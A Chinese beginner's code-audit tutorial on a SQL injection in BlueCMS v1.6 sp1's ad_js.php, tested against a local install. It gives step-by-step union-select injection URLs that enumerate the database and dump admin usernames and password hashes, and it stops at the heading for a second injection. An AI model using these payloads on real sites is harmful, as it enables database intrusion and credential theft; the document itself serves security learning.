代码审计入门之BlueCMS v1.6 sp1

0x00 前言

作为一名代码审计的新手,网上的大佬们说代码审计入门的话BlueCMS比较好,所以我就拿BlueCMS练练。(本人实在是一枚新手,请大佬们多多赐教)

0x01 环境准备

 

Phpstudy

BlueCMS v1.6 sp1源码

代码审计工具(Seay源代码审计系统)

 

 

0x02 审计过程

拿到一个CMS,有诸多审计方法,我这里的审计方法是黑盒+白盒测试,偏黑盒较多的代码审计。拿到代码后我们应该先对其进行功能点的分析,看一看该CMS存在哪些功能,因为我们寻找漏洞,肯定是从网站中的正常功能进行测试,这是黑盒测试的一个方法,挖掘漏洞的核心我认为在于传参,知道每个传参的意义是不是就等于知道了代码会做什么,要做什么呢?

由于本人实力真的有限,只能参考网上流传最广的两个注入进行演示

直接开门见山吧

 

1. 注入一

用Seay源代码审计系统审计一下看看,我们可以发现有很多可能的注入点,如第一个,在文件:ad_js.php

代码审计入门之BlueCMS v1.6 sp1

 

 

选中该可能的注入点,右键单击打开文件,就能直接定位到该条语句了,内容如下:

代码审计入门之BlueCMS v1.6 sp1

 

 getone()是自定义的函数,用来查询数据库,代码如下:(可双击选中该函数,然后右键单击定位函数,发现在:/uploads/include/mysql.class.php文件中,双击直接可定位到在文件中的位置)

代码审计入门之BlueCMS v1.6 sp1

 

主要是插入到数据库查询语句中的$ad_id没有经过任何的过滤,因而导致了SQL注入。从代码中可以看出:

代码审计入门之BlueCMS v1.6 sp1

 

利用:

先查看有多少字段:

http://127.0.0.1/ad_js.php?ad_id=1 order by 7

当order by 8时报错

代码审计入门之BlueCMS v1.6 sp1

 

所以字段数为8

接着来看数据库名:

我们先来看回显在哪

http://127.0.0.1/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,7

这里注意:我们需要在源代码中查看

代码审计入门之BlueCMS v1.6 sp1

 

第7个字段的位置出现了回显

来查看一下当前数据库

http://127.0.0.1/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()

 

代码审计入门之BlueCMS v1.6 sp1

 

 

然后爆表名:

 

 

http://127.0.0.1/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

 

 

代码审计入门之BlueCMS v1.6 sp1

 

表名真的太多,我们这里主要来玩blue_admin这张表

 

爆列名:

http://127.0.0.1/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e

这里需要将表名转换为16进制

代码审计入门之BlueCMS v1.6 sp1

 

获取用户名密码:

http://127.0.0.1/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin

代码审计入门之BlueCMS v1.6 sp1

 

是用MD5值,其值为admin:

代码审计入门之BlueCMS v1.6 sp1

 

 

2. 注入二

 

上一篇:将 Windows 更新代理更新到最新版本


下一篇:Windows 7 sp1补丁下载地址